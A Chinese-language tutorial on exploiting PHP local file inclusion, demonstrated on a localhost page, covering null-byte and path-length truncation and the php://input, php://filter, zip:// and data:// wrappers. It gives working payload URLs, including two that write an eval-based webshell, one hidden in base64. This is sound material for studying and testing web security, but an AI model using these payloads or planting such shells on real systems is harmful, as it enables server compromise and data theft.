0x00 LFC简介

LFC 即 Local File Include(本地文件包含)。

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

0x01 普通的本地文件包含

一般文件包含就是直接利用上传的文件,使其能够被PHP所解析。

这是一般本地包含漏洞存在的场景。

include.php

<?php
    $filename = $_GET['file'];
    include($filename.'.php');
?>

相同目录写一个info.txt

<?php
    phpinfo();
?>

只要包含info.txt就可以让该文件被PHP解析。但是想要包含这个文件必须绕过.php这个后缀的限制。

一、%00截断

利用需要条件:

magic_quotes_gpc = off
php version < 5.3.4

构造如下payload则可以包含info.txt。

http://localhost/include.php?file=info.txt%00

二、转换字符集造成的截断

PHP中有一个iconv函数,其原型为:

string iconv ( string $in_charset , string $out_charset , string $str )
$in_charset : 输入的字符集
$out_charset : 输出的字符集
$str : 需要转换的字符串

参考php手册

http://www.php.net/manual/zh/function.iconv.php

当需要转换的字符在字符编码转换的时候可能导致字符串截断。当$str中有一个字符不能被目标字符集所表示时,str 从第一个无效字符开始截断并导致一个 E_NOTICE。

如:

$d = iconv(“UTF-8”, “gb2312”, $c)

该代码表示将变量$c从UTF-8编码转换为gb2312。

当$c中存在一个不能被gb2312表示的字符时,那么就会截断。

经测试,从0x80~0x99都可以造成截断。(测试环境为windows)

三、文件名过长导致截断。

利用条件:

php version < 5.3.4

构造payload:

http://localhost/include.php?file=info.txt..................................................................................................................................................................................................................................................................

可以执行info.txt内的代码。

0x02 php://伪协议在文件包含中的利用

本地环境

include.php

<?php
    $filename = $_GET['file'];
    include($filename);
?>

利用条件:

allow_url_include=On

php://input

php://input是个可以访问请求的原始数据的只读流。enctype="multipart/form-data" 的时候 php://input 是无效的。

可以这样构造

http://localhost/include.php?file=php://input

POST参数:
<?php phpinfo(); ?>

可以看到phpinfo()是被执行了的。

构造如下可写入shell:

<?php 
$shell = fopen("shell.php", "w");
$txt ='<?php @eval($_POST[\'a\']); ?>';
fwrite($shell,$txt);
fclose($shell);
phpinfo(); 
?>

php://filter

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。

可以通过这样查看文件源码:

http://localhost/include.php?file=php://filter/convert.base64-encode/resource=

还有很多用法,但是我在测试的时候发现如果代码可以被php解析是可以直接执行的。

如:

info.txt
<?php phpinfo(); ?>

访问;

http://localhost/include.php?file=php://filter/resource=info.txt

是可以执行的。

0x03 利用zip://协议进行包含

1.首先写好一个php文件命名为1.php

2.将1.php压缩为1.zip,然后将文件名改为yu.jpg

3.访问

http://localhost/include.php?file=zip://yu.jpg%231.php

会发现php被解析。

0x04 利用data://协议进行包含

需要条件:

allow_url_include = on
allow_url_fopen = on

可以通过构造

http://localhost/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

访问便可以执行。

执行此url可以直接得到一个shell.php

http://localhost/include.php?file=data://text/plain;base64,PD9waHAgJHNoZWxsID0gZm9wZW4oInNoZWxsLnBocCIsICJ3Iik7ICR0eHQgPSc8P3BocCBAZXZhbCgkX1BPU1RbXCdhXCddKTsgPz4nOyBmd3JpdGUoJHNoZWxsLCR0eHQpOyBmY2xvc2UoJHNoZWxsKTsgcGhwaW5mbygpOyAgPz4=

参考文章:

http://drops.wooyun.org/papers/4544
http://www.wooyun.org/bugs/wooyun-2014-048293
http://www.cnseay.com/3700/
http://www.2cto.com/Article/201502/377462.html
http://www.cnseay.com/2356/comment-page-1/
http://drops.wooyun.org/tips/3827
http://php.net/manual/zh/wrappers.data.php
http://www.waitalone.cn/php-file-include.html
https://en.wikipedia.org/wiki/Data_URI_scheme